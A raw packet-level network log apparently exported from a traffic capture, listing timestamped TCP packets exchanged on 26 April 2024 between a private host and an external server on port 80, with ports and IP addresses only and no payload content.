Apr 26, 2024 13:39:21.870677948 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870676994 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870676994 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870676994 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870733976 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870790005 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870845079 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870845079 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870846033 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870846033 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870899916 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870955944 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871011019 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871068001 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871123075 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871177912 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871233940 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871289968 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871345043 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871400118 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871423006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871423006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871423006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871423006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871423006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871423960 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871423960 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871423960 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871455908 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871511936 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871511936 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871511936 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871512890 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871512890 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871557951 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871567965 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871623039 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871678114 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.871797085 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871985912 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.871985912 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.872092009 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.872152090 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.872284889 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.872292995 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.872354031 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.872464895 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.872617006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.122659922 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.122745037 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.122807980 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.122868061 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.122886896 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.122931004 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.122992992 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123058081 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123064041 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123059034 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123126984 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123188972 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123229027 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123229980 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123229980 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123255014 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123318911 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123378038 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123394966 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123435020 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123492002 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123545885 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123569965 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123569965 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123569965 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123569965 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123569965 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123601913 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123660088 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123714924 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123744965 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123744965 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123769999 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123828888 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123884916 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123908997 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.123939991 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.123996019 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124049902 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124080896 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124080896 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124080896 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124080896 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124080896 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124108076 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124166012 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124258995 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124263048 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124263048 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124316931 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124373913 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124428034 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124428988 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124484062 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124538898 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124593973 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124589920 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124591112 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124591112 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124591112 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124591112 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124650002 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124705076 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124759912 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124763966 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124763966 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124814987 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124870062 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124898911 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.124923944 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.124979973 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125034094 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125072002 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125072002 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125072002 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125089884 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125145912 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125200033 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125238895 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125255108 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125312090 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125366926 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125416994 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125421047 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125416994 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125417948 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125417948 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125417948 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125479937 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125535965 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125580072 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125581026 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125591040 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125647068 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125700951 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125749111 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125756025 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125812054 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125864983 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125920057 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.125922918 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125922918 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125924110 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125924110 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125924110 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.125974894 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126029968 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126085043 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126096964 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126097918 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126097918 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126138926 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126194000 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126249075 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126260042 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126260042 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126260042 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126303911 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126358986 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126414061 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126430035 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126467943 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126523018 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126576900 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126578093 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126578093 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126578093 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126579046 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126579046 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126631975 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126687050 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126743078 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126748085 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126748085 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126748085 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126748085 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126797915 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126863956 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126883030 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126899958 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126907110 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.126916885 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126934052 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126950979 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.126967907 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.127078056 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.127248049 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.127248049 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.127248049 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.374238968 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374268055 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374290943 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374442101 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374469995 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374491930 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374512911 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374535084 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374556065 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374562979 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.374563932 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.374577999 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374598980 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374656916 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374680042 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374737024 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.374737024 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.374737024 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.374737024 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.374737024 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.374824047 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374851942 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374874115 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374896049 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374902010 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.374917030 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374938965 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.374991894 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375075102 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375075102 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375075102 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375075102 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375075102 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375178099 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375236034 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375241995 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375241995 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375293016 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375314951 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375336885 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375391006 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375411987 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375556946 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375581980 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375581980 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375586033 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375608921 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375629902 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375682116 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375704050 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375725031 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375746012 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375751019 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375751019 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375751019 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375751019 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375767946 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375788927 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375811100 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375921011 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.375947952 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375951052 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375952959 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.375953913 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376039982 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376064062 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376077890 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376077890 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376141071 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376163960 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376243114 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376252890 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376252890 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376252890 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376252890 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376252890 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376254082 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376291990 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376313925 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376354933 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376420021 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376420021 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376420021 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376523972 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376545906 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376566887 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376588106 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376589060 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376588106 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376625061 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376646996 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376758099 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376759052 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376759052 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376759052 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376784086 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376806021 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.376905918 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.376979113 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377029896 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377041101 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377052069 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377074957 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377091885 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377149105 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377160072 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377219915 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377245903 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377245903 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377245903 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377245903 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377377987 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377389908 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377402067 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377418041 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377518892 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377593040 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377650023 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377660990 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377671957 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377682924 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377698898 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377710104 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377749920 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377757072 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377757072 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377757072 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377762079 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377773046 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377784014 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377804995 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377856970 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377867937 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377907991 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377918959 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377927065 CEST	50341	80	192.168.11.20	94.156.8.104
